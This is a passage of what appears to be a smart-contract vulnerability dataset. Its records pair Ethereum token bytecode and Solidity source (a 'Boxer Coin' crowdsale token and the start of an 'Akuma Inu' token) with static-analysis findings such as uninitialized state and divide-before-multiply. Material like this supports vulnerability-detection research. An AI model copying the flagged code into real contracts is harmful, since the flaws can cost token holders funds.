ffffff16565b612dcc90919063ffffffff16565b91506110fe82601154612dcc90919063ffffffff16565b60118190555061112f600e54611121600f54601254612dcc90919063ffffffff16565b612dea90919063ffffffff16565b601154111561113d57600080fd5b5b601f54421015801561115257506020544211155b1561123b57611193606461118560135461117734600b54612d7e90919063ffffffff16565b612d7e90919063ffffffff16565b612db190919063ffffffff16565b90506111bc816111ae34600b54612d7e90919063ffffffff16565b612dcc90919063ffffffff16565b91506111d382601454612dcc90919063ffffffff16565b60148190555061122c60115461121e601254611210600e54611202600f54601554612dcc90919063ffffffff16565b612dea90919063ffffffff16565b612dcc90919063ffffffff16565b612dea90919063ffffffff16565b601454111561123a57600080fd5b5b602054421015801561124f57506021544211155b1561136057611290606461128260165461127434600b54612d7e90919063ffffffff16565b612d7e90919063ffffffff16565b612db190919063ffffffff16565b90506112b9816112ab34600b54612d7e90919063ffffffff16565b612dcc90919063ffffffff16565b91506112d082601754612dcc90919063ffffffff16565b601781905550611351601454611343601554611335601154611327601254611319600e5461130b600f54601854612dcc90919063ffffffff16565b612dea90919063ffffffff16565b612dcc90919063ffffffff16565b612dea90919063ffffffff16565b612dcc90919063ffffffff16565b612dea90919063ffffffff16565b601754111561135f57600080fd5b5b602154421015801561137457506022544211155b156114ad576113b560646113a760195461139934600b54612d7e90919063ffffffff16565b612d7e90919063ffffffff16565b612db190919063ffffffff16565b90506113de816113d034600b54612d7e90919063ffffffff16565b612dcc90919063ffffffff16565b91506113f582601a54612dcc90919063ffffffff16565b601a8190555061149e60175461149060185461148260145461147460155461146660115461145860125461144a600e5461143c600f54601b54612dcc90919063ffffffff16565b612dea90919063ffffffff16565b612dcc90919063ffffffff16565b612dea90919063ffffffff16565b612dcc90919063ffffffff16565b612dea90919063ffffffff16565b612dcc90919063ffffffff16565b612dea90919063ffffffff16565b601a5411156114ac57600080fd5b5b60008214156114bb57600080fd5b600a54600854830111156114ce57600080fd5b81602660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401602660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156882600854612dcc90919063ffffffff16565b6008819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600c600081548092919060010191905055505050565b60115481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116855780601f1061165a57610100808354040283529160200191611685565b820191906000526020600020905b81548152906001019060200180831161166857829003601f168201915b505050505081565b600080600090505b6006548110156116f057826000191660076000838152602001908152602001600020600001546000191614156116e357600760008281526020019081526020016000206001015491506116f5565b8080600101915050611695565b600191505b50919050565b600080821415801561178a57506000602760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561179457600080fd5b81602760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006060600481016000369050101561189c57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118f857600080fd5b6001602454141561190857600080fd5b61195a83602660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dcc90919063ffffffff16565b602660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ef83602660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dea90919063ffffffff16565b602660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611aff57600080fd5b60008160ff16141515611b17578060ff16600b819055505b50565b6000600854905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b8057600080fd5b60016024541415611b9057600080fd5b60225442111515611ba057600080fd5b600854600a54038111151515611bb257fe5b8060266000602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540160266000602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508060085401600881905550602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b60245481565b602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d5481565b600a5460085411151515611d5557600080fd5b34600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611ddb57600080fd5b611de3610f59565b50565b60008060606004810160003690501015611dff57600080fd5b602760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150611ed084602660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dcc90919063ffffffff16565b602660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f6584602660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dea90919063ffffffff16565b602660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fbb8483612dea90919063ffffffff16565b602760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001925050509392505050565b60045481565b60205481565b601f5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561211b57600080fd5b600181141561212d5760016024819055505b50565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b60135481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121b157600080fd5b80602560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60195481565b60175481565b60125481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561226357600080fd5b60018214156122785780601c819055506122f8565b600282141561228d5780601d819055506122f7565b60038214156122a25780601e819055506122f6565b60048214156122b75780601f819055506122f5565b60058214156122cc57806020819055506122f4565b60068214156122e157806021819055506122f3565b60078214156122f257806022819055505b5b5b5b5b5b5b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561235857600080fd5b6001602454141561236857600080fd5b8060238190555050565b60155481565b600f5481565b60105481565b6000602660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60235481565b600b5481565b6000600654821015156123f15760018002905061240b565b600760008381526020019081526020016000206000015490505b919050565b60145481565b601e5481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561247a57600080fd5b6001602454141561248a57600080fd5b6124dc83602660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dea90919063ffffffff16565b602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061253483600954612dcc90919063ffffffff16565b60098190555061254f83600854612dea90919063ffffffff16565b60088190555060008273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b5481565b600d5481565b60225481565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561267d5780601f106126525761010080835404028352916020019161267d565b820191906000526020600020905b81548152906001019060200180831161266057829003601f168201915b505050505081565b60165481565b601a5481565b6000604060048101600036905010156126a957600080fd5b6126fb83602660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dea90919063ffffffff16565b602660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279083602660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612dcc90919063ffffffff16565b602660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b6000600654821015156128595760029050612873565b600760008381526020019081526020016000206001015490505b919050565b600a5481565b60095481565b60065481565b600e5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60215481565b60185481565b6000602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601c5481565b600c5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156129d457600080fd5b600a54600854111515156129e757600080fd5b600160245414156129f757600080fd5b600a5460085482011115612a0a57600080fd5b6001811015612a1857600080fd5b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ab281600854612dcc90919063ffffffff16565b6008819055508173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600c600081548092919060010191905055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b8f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515612c075780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60085481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612c6c57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16318111151515612c9257600080fd5b602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515612cf457600080fd5b602560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b60008082840290506000841480612d9f5750828482811515612d9c57fe5b04145b1515612da757fe5b8091505092915050565b6000808284811515612dbf57fe5b0490508091505092915050565b6000808284019050838110151515612de057fe5b8091505092915050565b6000828211151515612df857fe5b8183039050929150505600a165627a7a723058200ba39f7042bdae5abe0359ef85be0e67a960e06682c1f0a210194f0db07610f30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 5,161 |
0x5d9Ea160A78C4Ac866Ff883ebf1ec5167AA38755
|
/**
*Submitted for verification at Etherscan.io on 2021-06-24
*/
pragma solidity ^0.4.23;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
**/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
**/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
**/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
**/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
**/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
**/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
**/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
**/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic interface
* @dev Basic ERC20 interface
**/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
**/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
**/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
**/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
**/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
**/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
**/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
**/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
**/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
**/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
**/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Configurable
* @dev Configurable varriables of the contract
**/
contract Configurable {
uint256 public constant cap = 400000000000000000 *10**1;
uint256 public constant basePrice = 1000000000000000*10**1; // tokens per 1 ether
uint256 public tokensSold = 0;
uint256 public constant tokenReserve = 80000000000000000*10**1;
uint256 public remainingTokens = 0;
}
/**
* @title CrowdsaleToken
* @dev Contract to preform crowd sale with token
**/
contract CrowdsaleToken is StandardToken, Configurable, Ownable {
/**
* @dev enum of current crowd sale state
**/
enum Stages {
none,
icoStart,
icoEnd
}
Stages currentStage;
/**
* @dev constructor of CrowdsaleToken
**/
constructor() public {
currentStage = Stages.none;
balances[owner] = balances[owner].add(tokenReserve);
totalSupply_ = totalSupply_.add(tokenReserve);
remainingTokens = cap;
emit Transfer(address(this), owner, tokenReserve);
}
/**
* @dev fallback function to send ether to for Crowd sale
**/
function () public payable {
require(currentStage == Stages.icoStart);
require(msg.value > 0);
require(remainingTokens > 0);
uint256 weiAmount = msg.value; // Calculate tokens to sell
uint256 tokens = weiAmount.mul(basePrice).div(1 ether);
uint256 returnWei = 0;
if(tokensSold.add(tokens) > cap){
uint256 newTokens = cap.sub(tokensSold);
uint256 newWei = newTokens.div(basePrice).mul(1 ether);
returnWei = weiAmount.sub(newWei);
weiAmount = newWei;
tokens = newTokens;
}
tokensSold = tokensSold.add(tokens); // Increment raised amount
remainingTokens = cap.sub(tokensSold);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens);
emit Transfer(address(this), msg.sender, tokens);
totalSupply_ = totalSupply_.add(tokens);
owner.transfer(weiAmount);// Send money to owner
}
/**
* @dev startIco starts the public ICO
**/
function startIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
currentStage = Stages.icoStart;
}
/**
* @dev endIco closes down the ICO
**/
function endIco() internal {
currentStage = Stages.icoEnd;
// Transfer any remaining tokens
if(remainingTokens > 0)
balances[owner] = balances[owner].add(remainingTokens);
// transfer any remaining ETH balance in the contract to the owner
owner.transfer(address(this).balance);
}
/**
* @dev finalizeIco closes down the ICO and sets needed varriables
**/
function finalizeIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
endIco();
}
}
/**
* @title BoxerCoin
* @dev Contract to create the Boxer Coin
**/
contract BoxerCoin is CrowdsaleToken {
string public constant name = "Boxer Coin";
string public constant symbol = "BOXER";
uint32 public constant decimals = 1;
}
|
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461036d578063095ea7b3146103f757806318160ddd1461042f57806323b872dd14610456578063313ce56714610480578063355274ea146104ae578063518ab2a8146104c357806366188463146104d857806370a08231146104fc57806389311e6f1461051d5780638da5cb5b14610534578063903a3ef61461056557806395d89b411461057a578063a9059cbb1461058f578063bf583903146105b3578063c7876ea4146105c8578063cbcb3171146105dd578063d73dd623146105f2578063dd62ed3e14610616578063f2fde38b1461063d575b600080808080600160055474010000000000000000000000000000000000000000900460ff16600281111561014257fe5b1461014c57600080fd5b6000341161015957600080fd5b60045460001061016857600080fd5b34945061019a670de0b6b3a764000061018e87662386f26fc1000063ffffffff61065e16565b9063ffffffff61068d16565b935060009250673782dace9d9000006101be856003546106a290919063ffffffff16565b111561022c576003546101e090673782dace9d9000009063ffffffff6106af16565b9150610211670de0b6b3a764000061020584662386f26fc1000063ffffffff61068d16565b9063ffffffff61065e16565b9050610223858263ffffffff6106af16565b92508094508193505b60035461023f908563ffffffff6106a216565b600381905561025d90673782dace9d9000009063ffffffff6106af16565b60045560008311156102bd57604051339084156108fc029085906000818181858888f19350505050158015610296573d6000803e3d6000fd5b5060408051848152905133913091600080516020610e188339815191529181900360200190a35b336000908152602081905260409020546102dd908563ffffffff6106a216565b3360008181526020818152604091829020939093558051878152905191923092600080516020610e188339815191529281900390910190a3600154610328908563ffffffff6106a216565b600155600554604051600160a060020a039091169086156108fc029087906000818181858888f19350505050158015610365573d6000803e3d6000fd5b505050505050005b34801561037957600080fd5b506103826106c1565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103bc5781810151838201526020016103a4565b50505050905090810190601f1680156103e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561040357600080fd5b5061041b600160a060020a03600435166024356106f8565b604080519115158252519081900360200190f35b34801561043b57600080fd5b5061044461075e565b60408051918252519081900360200190f35b34801561046257600080fd5b5061041b600160a060020a0360043581169060243516604435610764565b34801561048c57600080fd5b506104956108c9565b6040805163ffffffff9092168252519081900360200190f35b3480156104ba57600080fd5b506104446108ce565b3480156104cf57600080fd5b506104446108da565b3480156104e457600080fd5b5061041b600160a060020a03600435166024356108e0565b34801561050857600080fd5b50610444600160a060020a03600435166109d0565b34801561052957600080fd5b506105326109eb565b005b34801561054057600080fd5b50610549610a6f565b60408051600160a060020a039092168252519081900360200190f35b34801561057157600080fd5b50610532610a7e565b34801561058657600080fd5b50610382610ad5565b34801561059b57600080fd5b5061041b600160a060020a0360043516602435610b0c565b3480156105bf57600080fd5b50610444610bdb565b3480156105d457600080fd5b50610444610be1565b3480156105e957600080fd5b50610444610bec565b3480156105fe57600080fd5b5061041b600160a060020a0360043516602435610bf8565b34801561062257600080fd5b50610444600160a060020a0360043581169060243516610c91565b34801561064957600080fd5b50610532600160a060020a0360043516610cbc565b600082151561066f57506000610687565b5081810281838281151561067f57fe5b041461068757fe5b92915050565b6000818381151561069a57fe5b049392505050565b8181018281101561068757fe5b6000828211156106bb57fe5b50900390565b60408051808201909152600a81527f426f78657220436f696e00000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561077b57600080fd5b600160a060020a0384166000908152602081905260409020548211156107a057600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156107d057600080fd5b600160a060020a0384166000908152602081905260409020546107f9908363ffffffff6106af16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461082e908363ffffffff6106a216565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610870908363ffffffff6106af16565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020610e18833981519152929181900390910190a35060019392505050565b600181565b673782dace9d90000081565b60035481565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561093557336000908152600260209081526040808320600160a060020a038816845290915281205561096a565b610945818463ffffffff6106af16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600554600160a060020a03163314610a0257600080fd5b600260055474010000000000000000000000000000000000000000900460ff166002811115610a2d57fe5b1415610a3857600080fd5b6005805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600554600160a060020a031681565b600554600160a060020a03163314610a9557600080fd5b600260055474010000000000000000000000000000000000000000900460ff166002811115610ac057fe5b1415610acb57600080fd5b610ad3610d51565b565b60408051808201909152600581527f424f584552000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a0383161515610b2357600080fd5b33600090815260208190526040902054821115610b3f57600080fd5b33600090815260208190526040902054610b5f908363ffffffff6106af16565b3360009081526020819052604080822092909255600160a060020a03851681522054610b91908363ffffffff6106a216565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610e188339815191529281900390910190a350600192915050565b60045481565b662386f26fc1000081565b670b1a2bc2ec50000081565b336000908152600260209081526040808320600160a060020a0386168452909152812054610c2c908363ffffffff6106a216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600554600160a060020a03163314610cd357600080fd5b600160a060020a0381161515610ce857600080fd5b600554604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6005805474ff000000000000000000000000000000000000000019167402000000000000000000000000000000000000000017905560045460001015610dda57600454600554600160a060020a0316600090815260208190526040902054610dbe9163ffffffff6106a216565b600554600160a060020a03166000908152602081905260409020555b600554604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610e14573d6000803e3d6000fd5b505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820b140b80fc841d2993ae06e41f0f8c908dca662f0d38f9a26152c2ab53a8531db0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,162 |
0xE59241BddB4428b29bf4b172A0D604e06283861e
|
/*
Akuma Inu Official $AKUMA
TG: https://t.me/OfficialAkumaInu
Twitter: https://twitter.com/akumainu_
Website: TBD
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
